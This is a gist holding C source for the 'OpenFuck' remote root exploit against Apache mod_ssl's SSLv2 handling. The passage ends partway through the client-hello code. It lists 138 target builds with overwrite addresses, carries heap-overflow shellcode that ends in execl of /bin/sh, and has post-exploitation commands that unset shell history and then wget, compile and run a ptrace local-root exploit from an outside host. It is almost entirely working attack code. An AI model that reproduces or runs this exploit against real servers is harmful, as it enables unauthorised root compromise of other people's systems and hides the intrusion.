Created
June 7, 2017 15:02
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OpenF_ckV2 with fixes for 2017
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| /* | |
| * E-DB Note: Updating OpenFuck Exploit ~ http://paulsec.github.io/blog/2014/04/14/updating-openfuck-exploit/ | |
| * | |
| * OF version r00t VERY PRIV8 spabam | |
| * Compile with: gcc -o OpenFuck OpenFuck.c -lcrypto | |
| * objdump -R /usr/sbin/httpd|grep free to get more targets | |
| * #hackarena irc.brasnet.org | |
| */ | |
| #include <arpa/inet.h> | |
| #include <netinet/in.h> | |
| #include <sys/types.h> | |
| #include <sys/socket.h> | |
| #include <netdb.h> | |
| #include <errno.h> | |
| #include <string.h> | |
| #include <stdio.h> | |
| #include <unistd.h> | |
| #include <openssl/ssl.h> | |
| #include <openssl/rsa.h> | |
| #include <openssl/x509.h> | |
| #include <openssl/evp.h> | |
| #include <openssl/rc4.h> | |
| #include <openssl/md5.h> | |
| /* update this if you add architectures */ | |
| #define MAX_ARCH 138 | |
| struct archs { | |
| char* desc; | |
| int func_addr; /* objdump -R /usr/sbin/httpd | grep free */ | |
| } architectures[] = { | |
| { | |
| "Caldera OpenLinux (apache-1.3.26)", | |
| 0x080920e0 | |
| }, | |
| { | |
| "Cobalt Sun 6.0 (apache-1.3.12)", | |
| 0x8120f0c | |
| }, | |
| { | |
| "Cobalt Sun 6.0 (apache-1.3.20)", | |
| 0x811dcb8 | |
| }, | |
| { | |
| "Cobalt Sun x (apache-1.3.26)", | |
| 0x8123ac3 | |
| }, | |
| { | |
| "Cobalt Sun x Fixed2 (apache-1.3.26)", | |
| 0x81233c3 | |
| }, | |
| { | |
| "Conectiva 4 (apache-1.3.6)", | |
| 0x08075398 | |
| }, | |
| { | |
| "Conectiva 4.1 (apache-1.3.9)", | |
| 0x0808f2fe | |
| }, | |
| { | |
| "Conectiva 6 (apache-1.3.14)", | |
| 0x0809222c | |
| }, | |
| { | |
| "Conectiva 7 (apache-1.3.12)", | |
| 0x0808f874 | |
| }, | |
| { | |
| "Conectiva 7 (apache-1.3.19)", | |
| 0x08088aa0 | |
| }, | |
| { | |
| "Conectiva 7/8 (apache-1.3.26)", | |
| 0x0808e628 | |
| }, | |
| { | |
| "Conectiva 8 (apache-1.3.22)", | |
| 0x0808b2d0 | |
| }, | |
| { | |
| "Debian GNU Linux 2.2 Potato (apache_1.3.9-14.1)", | |
| 0x08095264 | |
| }, | |
| { | |
| "Debian GNU Linux (apache_1.3.19-1)", | |
| 0x080966fc | |
| }, | |
| { | |
| "Debian GNU Linux (apache_1.3.22-2)", | |
| 0x08096aac | |
| }, | |
| { | |
| "Debian GNU Linux (apache-1.3.22-2.1)", | |
| 0x08083828 | |
| }, | |
| { | |
| "Debian GNU Linux (apache-1.3.22-5)", | |
| 0x08083728 | |
| }, | |
| { | |
| "Debian GNU Linux (apache_1.3.23-1)", | |
| 0x08085de8 | |
| }, | |
| { | |
| "Debian GNU Linux (apache_1.3.24-2.1)", | |
| 0x08087d08 | |
| }, | |
| { "Debian Linux GNU Linux 2 (apache_1.3.24-2.1)", | |
| 0x080873ac | |
| }, | |
| { | |
| "Debian GNU Linux (apache_1.3.24-3)", | |
| 0x08087d68 | |
| }, | |
| { | |
| "Debian GNU Linux (apache-1.3.26-1)", | |
| 0x0080863c4 | |
| }, | |
| { | |
| "Debian GNU Linux 3.0 Woody (apache-1.3.26-1)", | |
| 0x080863cc | |
| }, | |
| { "Debian GNU Linux (apache-1.3.27)", | |
| 0x0080866a3 | |
| }, | |
| { "FreeBSD (apache-1.3.9)", 0xbfbfde00 }, | |
| { "FreeBSD (apache-1.3.11)", 0x080a2ea8 }, | |
| { "FreeBSD (apache-1.3.12.1.40)", 0x080a7f58 }, | |
| { "FreeBSD (apache-1.3.12.1.40)", 0x080a0ec0 }, | |
| { "FreeBSD (apache-1.3.12.1.40)", 0x080a7e7c }, | |
| { "FreeBSD (apache-1.3.12.1.40_1)", 0x080a7f18 }, | |
| { "FreeBSD (apache-1.3.12)", 0x0809bd7c }, | |
| { "FreeBSD (apache-1.3.14)", 0xbfbfdc00 }, | |
| { "FreeBSD (apache-1.3.14)", 0x080ab68c }, | |
| { "FreeBSD (apache-1.3.14)", 0x0808c76c }, | |
| { "FreeBSD (apache-1.3.14)", 0x080a3fc8 }, | |
| { "FreeBSD (apache-1.3.14)", 0x080ab6d8 }, | |
| { "FreeBSD (apache-1.3.17_1)", 0x0808820c }, | |
| { "FreeBSD (apache-1.3.19)", 0xbfbfdc00 }, | |
| { "FreeBSD (apache-1.3.19_1)", 0x0808c96c }, | |
| { "FreeBSD (apache-1.3.20)", 0x0808cb70 }, | |
| { "FreeBSD (apache-1.3.20)", 0xbfbfc000 }, | |
| { "FreeBSD (apache-1.3.20+2.8.4)", 0x0808faf8 }, | |
| { "FreeBSD (apache-1.3.20_1)", 0x0808dfb4 }, | |
| { "FreeBSD (apache-1.3.22)", 0xbfbfc000 }, | |
| { "FreeBSD (apache-1.3.22_7)", 0x0808d110 }, | |
| { "FreeBSD (apache_fp-1.3.23)", 0x0807c5f8 }, | |
| { "FreeBSD (apache-1.3.24_7)", 0x0808f8b0 }, | |
| { "FreeBSD (apache-1.3.24+2.8.8)", 0x080927f8 }, | |
| { "FreeBSD 4.6.2-Release-p6 (apache-1.3.26)", 0x080c432c }, | |
| { "FreeBSD 4.6-Realease (apache-1.3.26)", 0x0808fdec }, | |
| { "FreeBSD (apache-1.3.27)", 0x080902e4 }, | |
| { | |
| "Gentoo Linux (apache-1.3.24-r2)", | |
| 0x08086c34 | |
| }, | |
| { | |
| "Linux Generic (apache-1.3.14)", | |
| 0xbffff500 | |
| }, | |
| { | |
| "Mandrake Linux X.x (apache-1.3.22-10.1mdk)", | |
| 0x080808ab | |
| }, | |
| { | |
| "Mandrake Linux 7.1 (apache-1.3.14-2)", | |
| 0x0809f6c4 | |
| }, | |
| { | |
| "Mandrake Linux 7.1 (apache-1.3.22-1.4mdk)", | |
| 0x0809d233 | |
| }, | |
| { | |
| "Mandrake Linux 7.2 (apache-1.3.14-2mdk)", | |
| 0x0809f6ef | |
| }, | |
| { | |
| "Mandrake Linux 7.2 (apache-1.3.14) 2", | |
| 0x0809d6c4 | |
| }, | |
| { | |
| "Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)", | |
| 0x0809ccde | |
| }, | |
| { | |
| "Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)", | |
| 0x0809ce14 | |
| }, | |
| { | |
| "Mandrake Linux 7.2 (apache-1.3.22-1.3mdk)", | |
| 0x0809d262 | |
| }, | |
| { | |
| "Mandrake Linux 7.2 (apache-1.3.22-10.2mdk)", | |
| 0x08083545 | |
| }, | |
| { | |
| "Mandrake Linux 8.0 (apache-1.3.19-3)", | |
| 0x0809ea98 | |
| }, | |
| { | |
| "Mandrake Linux 8.1 (apache-1.3.20-3)", | |
| 0x0809e97c | |
| }, | |
| { | |
| "Mandrake Linux 8.2 (apache-1.3.23-4)", | |
| 0x08086580 | |
| }, | |
| { "Mandrake Linux 8.2 #2 (apache-1.3.23-4)", | |
| 0x08086484 | |
| }, | |
| { "Mandrake Linux 8.2 (apache-1.3.24)", | |
| 0x08086665 | |
| }, | |
| { "Mandrake Linux 9 (apache-1.3.26)", | |
| 0x0808b864 | |
| }, | |
| { | |
| "RedHat Linux ?.? GENERIC (apache-1.3.12-1)", | |
| 0x0808c0f4 | |
| }, | |
| { | |
| "RedHat Linux TEST1 (apache-1.3.12-1)", | |
| 0x0808c0f4 | |
| }, | |
| { | |
| "RedHat Linux TEST2 (apache-1.3.12-1)", | |
| 0x0808c0f4 | |
| }, | |
| { | |
| "RedHat Linux GENERIC (marumbi) (apache-1.2.6-5)", | |
| 0x080d2c35 | |
| }, | |
| { | |
| "RedHat Linux 4.2 (apache-1.1.3-3)", | |
| 0x08065bae | |
| }, | |
| { | |
| "RedHat Linux 5.0 (apache-1.2.4-4)", | |
| 0x0808c82c | |
| }, | |
| { | |
| "RedHat Linux 5.1-Update (apache-1.2.6)", | |
| 0x08092a45 | |
| }, | |
| { | |
| "RedHat Linux 5.1 (apache-1.2.6-4)", | |
| 0x08092c2d | |
| }, | |
| { | |
| "RedHat Linux 5.2 (apache-1.3.3-1)", | |
| 0x0806f049 | |
| }, | |
| { | |
| "RedHat Linux 5.2-Update (apache-1.3.14-2.5.x)", | |
| 0x0808e4d8 | |
| }, | |
| { | |
| "RedHat Linux 6.0 (apache-1.3.6-7)", | |
| 0x080707ec | |
| }, | |
| { | |
| "RedHat Linux 6.0 (apache-1.3.6-7)", | |
| 0x080707f9 | |
| }, | |
| { | |
| "RedHat Linux 6.0-Update (apache-1.3.14-2.6.2)", | |
| 0x0808fd52 | |
| }, | |
| { | |
| "RedHat Linux 6.0 Update (apache-1.3.24)", | |
| 0x80acd58 | |
| }, | |
| { | |
| "RedHat Linux 6.1 (apache-1.3.9-4)1", | |
| 0x0808ccc4 | |
| }, | |
| { | |
| "RedHat Linux 6.1 (apache-1.3.9-4)2", | |
| 0x0808ccdc | |
| }, | |
| { | |
| "RedHat Linux 6.1-Update (apache-1.3.14-2.6.2)", | |
| 0x0808fd5d | |
| }, | |
| { | |
| "RedHat Linux 6.1-fp2000 (apache-1.3.26)", | |
| 0x082e6fcd | |
| }, | |
| { | |
| "RedHat Linux 6.2 (apache-1.3.12-2)1", | |
| 0x0808f689 | |
| }, | |
| { | |
| "RedHat Linux 6.2 (apache-1.3.12-2)2", | |
| 0x0808f614 | |
| }, | |
| { | |
| "RedHat Linux 6.2 mod(apache-1.3.12-2)3", | |
| 0xbffff94c | |
| }, | |
| { | |
| "RedHat Linux 6.2 update (apache-1.3.22-5.6)1", | |
| 0x0808f9ec | |
| }, | |
| { | |
| "RedHat Linux 6.2-Update (apache-1.3.22-5.6)2", | |
| 0x0808f9d4 | |
| }, | |
| { | |
| "Redhat Linux 7.x (apache-1.3.22)", | |
| 0x0808400c | |
| }, | |
| { | |
| "RedHat Linux 7.x (apache-1.3.26-1)", | |
| 0x080873bc | |
| }, | |
| { "RedHat Linux 7.x (apache-1.3.27)", | |
| 0x08087221 | |
| }, | |
| { | |
| "RedHat Linux 7.0 (apache-1.3.12-25)1", | |
| 0x0809251c | |
| }, | |
| { | |
| "RedHat Linux 7.0 (apache-1.3.12-25)2", | |
| 0x0809252d | |
| }, | |
| { | |
| "RedHat Linux 7.0 (apache-1.3.14-2)", | |
| 0x08092b98 | |
| }, | |
| { | |
| "RedHat Linux 7.0-Update (apache-1.3.22-5.7.1)", | |
| 0x08084358 | |
| }, | |
| { | |
| "RedHat Linux 7.0-7.1 update (apache-1.3.22-5.7.1)", | |
| 0x0808438c | |
| }, | |
| { | |
| "RedHat Linux 7.0-Update (apache-1.3.27-1.7.1)", | |
| 0x08086e41 | |
| }, | |
| { | |
| "RedHat Linux 7.1 (apache-1.3.19-5)1", | |
| 0x0809af8c | |
| }, | |
| { | |
| "RedHat Linux 7.1 (apache-1.3.19-5)2", | |
| 0x0809afd9 | |
| }, | |
| { | |
| "RedHat Linux 7.1-7.0 update (apache-1.3.22-5.7.1)", | |
| 0x0808438c | |
| }, | |
| { | |
| "RedHat Linux 7.1-Update (1.3.22-5.7.1)", | |
| 0x08084389 | |
| }, | |
| { | |
| "RedHat Linux 7.1 (apache-1.3.22-src)", | |
| 0x0816021c | |
| }, | |
| { | |
| "RedHat Linux 7.1-Update (1.3.27-1.7.1)", | |
| 0x08086ec89 | |
| }, | |
| { | |
| "RedHat Linux 7.2 (apache-1.3.20-16)1", | |
| 0x080994e5 | |
| }, | |
| { | |
| "RedHat Linux 7.2 (apache-1.3.20-16)2", | |
| 0x080994d4 | |
| }, | |
| { | |
| "RedHat Linux 7.2-Update (apache-1.3.22-6)", | |
| 0x08084045 | |
| }, | |
| { | |
| "RedHat Linux 7.2 (apache-1.3.24)", | |
| 0x80b0938 | |
| }, | |
| { | |
| "RedHat Linux 7.2 (apache-1.3.26)", | |
| 0x08161c16 | |
| }, | |
| { | |
| "RedHat Linux 7.2 (apache-1.3.26-snc)", | |
| 0x8161c14 | |
| }, | |
| { | |
| "Redhat Linux 7.2 (apache-1.3.26 w/PHP)1", | |
| 0x08269950 | |
| }, | |
| { | |
| "Redhat Linux 7.2 (apache-1.3.26 w/PHP)2", | |
| 0x08269988 | |
| }, | |
| { | |
| "RedHat Linux 7.2-Update (apache-1.3.27-1.7.2)", | |
| 0x08086af9 | |
| }, | |
| { | |
| "RedHat Linux 7.3 (apache-1.3.23-11)1", | |
| 0x0808528c | |
| }, | |
| { | |
| "RedHat Linux 7.3 (apache-1.3.23-11)2", | |
| 0x0808525f | |
| }, | |
| { | |
| "RedHat Linux 7.3 (apache-1.3.27)", | |
| 0x080862e4 | |
| }, | |
| { "RedHat Linux 8.0 (apache-1.3.27)", | |
| 0x08084c1c | |
| }, | |
| { "RedHat Linux 8.0-second (apache-1.3.27)", | |
| 0x0808151e | |
| }, | |
| { "RedHat Linux 8.0 (apache-2.0.40)", | |
| 0x08092fa4 | |
| }, | |
| { | |
| "Slackware Linux 4.0 (apache-1.3.6)", | |
| 0x08088130 | |
| }, | |
| { | |
| "Slackware Linux 7.0 (apache-1.3.9)", | |
| 0x080a7fc0 | |
| }, | |
| { | |
| "Slackware Linux 7.0 (apache-1.3.26)", | |
| 0x083d37fc | |
| }, | |
| { "Slackware 7.0 (apache-1.3.26)2", | |
| 0x083d2232 | |
| }, | |
| { | |
| "Slackware Linux 7.1 (apache-1.3.12)", | |
| 0x080a86a4 | |
| }, | |
| { | |
| "Slackware Linux 8.0 (apache-1.3.20)", | |
| 0x080ae67c | |
| }, | |
| { | |
| "Slackware Linux 8.1 (apache-1.3.24)", | |
| 0x080b0c60 | |
| }, | |
| { | |
| "Slackware Linux 8.1 (apache-1.3.26)", | |
| 0x080b2100 | |
| }, | |
| { | |
| "Slackware Linux 8.1-stable (apache-1.3.26)", | |
| 0x080b0c60 | |
| }, | |
| { "Slackware Linux (apache-1.3.27)", | |
| 0x080b1a3a | |
| }, | |
| { | |
| "SuSE Linux 7.0 (apache-1.3.12)", | |
| 0x0809f54c | |
| }, | |
| { | |
| "SuSE Linux 7.1 (apache-1.3.17)", | |
| 0x08099984 | |
| }, | |
| { | |
| "SuSE Linux 7.2 (apache-1.3.19)", | |
| 0x08099ec8 | |
| }, | |
| { | |
| "SuSE Linux 7.3 (apache-1.3.20)", | |
| 0x08099da8 | |
| }, | |
| { | |
| "SuSE Linux 8.0 (apache-1.3.23)", | |
| 0x08086168 | |
| }, | |
| { | |
| "SUSE Linux 8.0 (apache-1.3.23-120)", | |
| 0x080861c8 | |
| }, | |
| { | |
| "SuSE Linux 8.0 (apache-1.3.23-137)", | |
| 0x080861c8 | |
| }, | |
| /* this one unchecked cause require differend shellcode */ | |
| { | |
| "Yellow Dog Linux/PPC 2.3 (apache-1.3.22-6.2.3a)", | |
| 0xfd42630 | |
| }, | |
| }; | |
| extern int errno; | |
| int cipher; | |
| int ciphers; | |
| /* the offset of the local port from be beginning of the overwrite next chunk buffer */ | |
| #define FINDSCKPORTOFS 208 + 12 + 46 | |
| unsigned char overwrite_session_id_length[] = | |
| "AAAA" /* int master key length; */ | |
| "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char master key[SSL MAX MASTER KEY LENGTH]; */ | |
| "\x70\x00\x00\x00"; /* unsigned int session id length; */ | |
| unsigned char overwrite_next_chunk[] = | |
| "AAAA" /* int master key length; */ | |
| "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char master key[SSL MAX MASTER KEY LENGTH]; */ | |
| "AAAA" /* unsigned int session id length; */ | |
| "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char session id[SSL MAX SSL SESSION ID LENGTH]; */ | |
| "AAAA" /* unsigned int sid ctx length; */ | |
| "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" /* unsigned char sid ctx[SSL MAX SID CTX LENGTH]; */ | |
| "AAAA" /* int not resumable; */ | |
| "\x00\x00\x00\x00" /* struct sess cert st *sess cert; */ | |
| "\x00\x00\x00\x00" /* X509 *peer; */ | |
| "AAAA" /* long verify result; */ | |
| "\x01\x00\x00\x00" /* int references; */ | |
| "AAAA" /* int timeout; */ | |
| "AAAA" /* int time */ | |
| "AAAA" /* int compress meth; */ | |
| "\x00\x00\x00\x00" /* SSL CIPHER *cipher; */ | |
| "AAAA" /* unsigned long cipher id; */ | |
| "\x00\x00\x00\x00" /* STACK OF(SSL CIPHER) *ciphers; */ | |
| "\x00\x00\x00\x00\x00\x00\x00\x00" /* CRYPTO EX DATA ex data; */ | |
| "AAAAAAAA" /* struct ssl session st *prev,*next; */ | |
| "\x00\x00\x00\x00" /* Size of previous chunk */ | |
| "\x11\x00\x00\x00" /* Size of chunk, in bytes */ | |
| "fdfd" /* Forward and back pointers */ | |
| "bkbk" | |
| "\x10\x00\x00\x00" /* Size of previous chunk */ | |
| "\x10\x00\x00\x00" /* Size of chunk, PREV INUSE is set */ | |
| /* shellcode start */ | |
| "\xeb\x0a\x90\x90" /* jump 10 bytes ahead, land at shellcode */ | |
| "\x90\x90\x90\x90" | |
| "\x90\x90\x90\x90" /* this is overwritten with FD by the unlink macro */ | |
| /* 72 bytes findsckcode by LSD-pl */ | |
| "\x31\xdb" /* xorl %ebx,%ebx */ | |
| "\x89\xe7" /* movl %esp,%edi */ | |
| "\x8d\x77\x10" /* leal 0x10(%edi),%esi */ | |
| "\x89\x77\x04" /* movl %esi,0x4(%edi) */ | |
| "\x8d\x4f\x20" /* leal 0x20(%edi),%ecx */ | |
| "\x89\x4f\x08" /* movl %ecx,0x8(%edi) */ | |
| "\xb3\x10" /* movb $0x10,%bl */ | |
| "\x89\x19" /* movl %ebx,(%ecx) */ | |
| "\x31\xc9" /* xorl %ecx,%ecx */ | |
| "\xb1\xff" /* movb $0xff,%cl */ | |
| "\x89\x0f" /* movl %ecx,(%edi) */ | |
| "\x51" /* pushl %ecx */ | |
| "\x31\xc0" /* xorl %eax,%eax */ | |
| "\xb0\x66" /* movb $0x66,%al */ | |
| "\xb3\x07" /* movb $0x07,%bl */ | |
| "\x89\xf9" /* movl %edi,%ecx */ | |
| "\xcd\x80" /* int $0x80 */ | |
| "\x59" /* popl %ecx */ | |
| "\x31\xdb" /* xorl %ebx,%ebx */ | |
| "\x39\xd8" /* cmpl %ebx,%eax */ | |
| "\x75\x0a" /* jne <findsckcode+54> */ | |
| "\x66\xb8\x12\x34" /* movw $0x1234,%bx */ | |
| "\x66\x39\x46\x02" /* cmpw %bx,0x2(%esi) */ | |
| "\x74\x02" /* je <findsckcode+56> */ | |
| "\xe2\xe0" /* loop <findsckcode+24> */ | |
| "\x89\xcb" /* movl %ecx,%ebx */ | |
| "\x31\xc9" /* xorl %ecx,%ecx */ | |
| "\xb1\x03" /* movb $0x03,%cl */ | |
| "\x31\xc0" /* xorl %eax,%eax */ | |
| "\xb0\x3f" /* movb $0x3f,%al */ | |
| "\x49" /* decl %ecx */ | |
| "\xcd\x80" /* int $0x80 */ | |
| "\x41" /* incl %ecx */ | |
| "\xe2\xf6" /* loop <findsckcode+62> */ | |
| /* 10 byte setresuid(0,0,0); by core */ | |
| "\x31\xc9" /* xor %ecx,%ecx */ | |
| "\xf7\xe1" /* mul %ecx,%eax */ | |
| "\x51" /* push %ecx */ | |
| "\x5b" /* pop %ebx */ | |
| "\xb0\xa4" /* mov $0xa4,%al */ | |
| "\xcd\x80" /* int $0x80 */ | |
| /* bigger shellcode added by spabam */ | |
| /* "\xB8\x2F\x73\x68\x23\x25\x2F\x73\x68\xDC\x50\x68\x2F\x62\x69" | |
| "\x6E\x89\xE3\x31\xC0\x50\x53\x89\xE1\x04\x0B\x31\xD2\xCD\x80" | |
| */ | |
| /* 24 bytes execl("/bin/sh", "/bin/sh", 0); by LSD-pl */ | |
| "\x31\xc0" /* xorl %eax,%eax */ | |
| "\x50" /* pushl %eax */ | |
| "\x68""//sh" /* pushl $0x68732f2f */ | |
| "\x68""/bin" /* pushl $0x6e69622f */ | |
| "\x89\xe3" /* movl %esp,%ebx */ | |
| "\x50" /* pushl %eax */ | |
| "\x53" /* pushl %ebx */ | |
| "\x89\xe1" /* movl %esp,%ecx */ | |
| "\x99" /* cdql */ | |
| "\xb0\x0b" /* movb $0x0b,%al */ | |
| "\xcd\x80"; /* int $0x80 */ | |
| /* read and write buffer*/ | |
| #define BUFSIZE 16384 | |
| /* hardcoded protocol stuff */ | |
| #define CHALLENGE_LENGTH 16 | |
| #define RC4_KEY_LENGTH 16 /* 128 bits */ | |
| #define RC4_KEY_MATERIAL_LENGTH (RC4_KEY_LENGTH*2) | |
| /* straight from the openssl source */ | |
| #define n2s(c,s) ((s=(((unsigned int)(c[0]))<< 8)| (((unsigned int)(c[1])) )),c+=2) | |
| #define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), c[1]=(unsigned char)(((s) )&0xff)),c+=2) | |
| /* we keep all SSL2 state in this structure */ | |
| typedef struct { | |
| int sock; | |
| /* client stuff */ | |
| unsigned char challenge[CHALLENGE_LENGTH]; | |
| unsigned char master_key[RC4_KEY_LENGTH]; | |
| unsigned char key_material[RC4_KEY_MATERIAL_LENGTH]; | |
| /* connection id - returned by the server */ | |
| int conn_id_length; | |
| unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH]; | |
| /* server certificate */ | |
| X509 *x509; | |
| /* session keys */ | |
| unsigned char* read_key; | |
| unsigned char* write_key; | |
| RC4_KEY* rc4_read_key; | |
| RC4_KEY* rc4_write_key; | |
| /* sequence numbers, used for MAC calculation */ | |
| int read_seq; | |
| int write_seq; | |
| /* set to 1 when the SSL2 handshake is complete */ | |
| int encrypted; | |
| } ssl_conn; | |
| #define COMMAND1 "TERM=xterm; export TERM=xterm; exec bash -i\n" | |
| #define COMMAND2 "unset HISTFILE; cd /tmp; wget http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p \n" | |
| long getip(char *hostname) { | |
| struct hostent *he; | |
| long ipaddr; | |
| if ((ipaddr = inet_addr(hostname)) < 0) { | |
| if ((he = gethostbyname(hostname)) == NULL) { | |
| perror("gethostbyname()"); | |
| exit(-1); | |
| } | |
| memcpy(&ipaddr, he->h_addr, he->h_length); | |
| } | |
| return ipaddr; | |
| } | |
| /* mixter's code w/enhancements by core */ | |
| int sh(int sockfd) { | |
| char snd[1024], rcv[1024]; | |
| fd_set rset; | |
| int maxfd, n; | |
| /* Priming commands */ | |
| strcpy(snd, COMMAND1 "\n"); | |
| write(sockfd, snd, strlen(snd)); | |
| strcpy(snd, COMMAND2 "\n"); | |
| write(sockfd, snd, strlen(snd)); | |
| /* Main command loop */ | |
| for (;;) { | |
| FD_SET(fileno(stdin), &rset); | |
| FD_SET(sockfd, &rset); | |
| maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1; | |
| select(maxfd, &rset, NULL, NULL, NULL); | |
| if (FD_ISSET(fileno(stdin), &rset)) { | |
| bzero(snd, sizeof(snd)); | |
| fgets(snd, sizeof(snd)-2, stdin); | |
| write(sockfd, snd, strlen(snd)); | |
| } | |
| if (FD_ISSET(sockfd, &rset)) { | |
| bzero(rcv, sizeof(rcv)); | |
| if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) { | |
| printf("Good Bye!\n"); | |
| return 0; | |
| } | |
| if (n < 0) { | |
| perror("read"); | |
| return 1; | |
| } | |
| fputs(rcv, stdout); | |
| fflush(stdout); /* keeps output nice */ | |
| } | |
| } /* for(;;) */ | |
| } | |
| /* Returns the local port of a connected socket */ | |
| int get_local_port(int sock) | |
| { | |
| struct sockaddr_in s_in; | |
| unsigned int namelen = sizeof(s_in); | |
| if (getsockname(sock, (struct sockaddr *)&s_in, &namelen) < 0) { | |
| printf("Can't get local port: %s\n", strerror(errno)); | |
| exit(1); | |
| } | |
| return s_in.sin_port; | |
| } | |
| /* Connect to a host */ | |
| int connect_host(char* host, int port) | |
| { | |
| struct sockaddr_in s_in; | |
| int sock; | |
| s_in.sin_family = AF_INET; | |
| s_in.sin_addr.s_addr = getip(host); | |
| s_in.sin_port = htons(port); | |
| if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) { | |
| printf("Could not create a socket\n"); | |
| exit(1); | |
| } | |
| if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) { | |
| printf("Connection to %s:%d failed: %s\n", host, port, strerror(errno)); | |
| exit(1); | |
| } | |
| return sock; | |
| } | |
| /* Create a new ssl conn structure and connect to a host */ | |
| ssl_conn* ssl_connect_host(char* host, int port) | |
| { | |
| ssl_conn* ssl; | |
| if (!(ssl = (ssl_conn*) malloc(sizeof(ssl_conn)))) { | |
| printf("Can't allocate memory\n"); | |
| exit(1); | |
| } | |
| /* Initialize some values */ | |
| ssl->encrypted = 0; | |
| ssl->write_seq = 0; | |
| ssl->read_seq = 0; | |
| ssl->sock = connect_host(host, port); | |
| return ssl; | |
| } | |
| /* global buffer used by the ssl result() */ | |
| char res_buf[30]; | |
| /* converts an SSL error code to a string */ | |
| char* ssl_error(int code) { | |
| switch (code) { | |
| case 0x00: return "SSL2 PE UNDEFINED ERROR (0x00)"; | |
| case 0x01: return "SSL2 PE NO CIPHER (0x01)"; | |
| case 0x02: return "SSL2 PE NO CERTIFICATE (0x02)"; | |
| case 0x04: return "SSL2 PE BAD CERTIFICATE (0x03)"; | |
| case 0x06: return "SSL2 PE UNSUPPORTED CERTIFICATE TYPE (0x06)"; | |
| default: | |
| sprintf(res_buf, "%02x", code); | |
| return res_buf; | |
| } | |
| } | |
| /* read len bytes from a socket. boring. */ | |
| int read_data(int sock, unsigned char* buf, int len) | |
| { | |
| int l; | |
| int to_read = len; | |
| do { | |
| if ((l = read(sock, buf, to_read)) < 0) { | |
| printf("Error in read: %s\n", strerror(errno)); | |
| exit(1); | |
| } | |
| to_read -= len; | |
| } while (to_read > 0); | |
| return len; | |
| } | |
| /* reads an SSL packet and decrypts it if necessery */ | |
| int read_ssl_packet(ssl_conn* ssl, unsigned char* buf, int buf_size) | |
| { | |
| int rec_len, padding; | |
| read_data(ssl->sock, buf, 2); | |
| if ((buf[0] & 0x80) == 0) { | |
| /* three byte header */ | |
| rec_len = ((buf[0] & 0x3f) << 8) | buf[1]; | |
| read_data(ssl->sock, &buf[2], 1); | |
| padding = (int)buf[2]; | |
| } | |
| else { | |
| /* two byte header */ | |
| rec_len = ((buf[0] & 0x7f) << 8) | buf[1]; | |
| padding = 0; | |
| } | |
| if ((rec_len <= 0) || (rec_len > buf_size)) { | |
| printf("read_ssl_packet: Record length out of range (rec_len = %d)\n", rec_len); | |
| exit(1); | |
| } | |
| read_data(ssl->sock, buf, rec_len); | |
| if (ssl->encrypted) { | |
| if (MD5_DIGEST_LENGTH + padding >= rec_len) { | |
| if ((buf[0] == SSL2_MT_ERROR) && (rec_len == 3)) { | |
| /* the server didn't switch to encryption due to an error */ | |
| return 0; | |
| } | |
| else { | |
| printf("read_ssl_packet: Encrypted message is too short (rec_len = %d)\n", rec_len); | |
| exit(1); | |
| } | |
| } | |
| /* decrypt the encrypted part of the packet */ | |
| RC4(ssl->rc4_read_key, rec_len, buf, buf); | |
| /* move the decrypted message in the beginning of the buffer */ | |
| rec_len = rec_len - MD5_DIGEST_LENGTH - padding; | |
| memmove(buf, buf + MD5_DIGEST_LENGTH, rec_len); | |
| } | |
| if (buf[0] == SSL2_MT_ERROR) { | |
| if (rec_len != 3) { | |
| printf("Malformed server error message\n"); | |
| exit(1); | |
| } | |
| else { | |
| return 0; | |
| } | |
| } | |
| return rec_len; | |
| } | |
| /* send an ssl packet, encrypting it if ssl->encrypted is set */ | |
| void send_ssl_packet(ssl_conn* ssl, unsigned char* rec, int rec_len) | |
| { | |
| unsigned char buf[BUFSIZE]; | |
| unsigned char* p; | |
| int tot_len; | |
| MD5_CTX ctx; | |
| int seq; | |
| if (ssl->encrypted) | |
| tot_len = rec_len + MD5_DIGEST_LENGTH; /* RC4 needs no padding */ | |
| else | |
| tot_len = rec_len; | |
| if (2 + tot_len > BUFSIZE) { | |
| printf("send_ssl_packet: Record length out of range (rec_len = %d)\n", rec_len); | |
| exit(1); | |
| } | |
| p = buf; | |
| s2n(tot_len, p); | |
| buf[0] = buf[0] | 0x80; /* two byte header */ | |
| if (ssl->encrypted) { | |
| /* calculate the MAC */ | |
| seq = ntohl(ssl->write_seq); | |
| MD5_Init(&ctx); | |
| MD5_Update(&ctx, ssl->write_key, RC4_KEY_LENGTH); | |
| MD5_Update(&ctx, rec, rec_len); | |
| MD5_Update(&ctx, &seq, 4); | |
| MD5_Final(p, &ctx); | |
| p+=MD5_DIGEST_LENGTH; | |
| memcpy(p, rec, rec_len); | |
| /* encrypt the payload */ | |
| RC4(ssl->rc4_write_key, tot_len, &buf[2], &buf[2]); | |
| } | |
| else { | |
| memcpy(p, rec, rec_len); | |
| } | |
| send(ssl->sock, buf, 2 + tot_len, 0); | |
| /* the sequence number is incremented by both encrypted and plaintext packets | |
| */ | |
| ssl->write_seq++; | |
| } | |
| /* Send a CLIENT HELLO message to the server */ | |
| void send_client_hello(ssl_conn *ssl) | |
| { | |
| int i; | |
| unsigned char buf[BUFSIZE] = | |
| "\x01" /* client hello msg */ | |
| "\x00\x02" /* client version */ | |
| "\x00\x18" /* cipher specs length */ | |
| "\x00\x00" /* session id length */ | |
| "\x00\x10" /* challenge length */ | |
| "\x07\x00\xc0\x05\x00\x80\x03\x00" /* cipher specs data */ | |
| "\x80\x01\x00\x80\x08\x00\x80\x06" | |
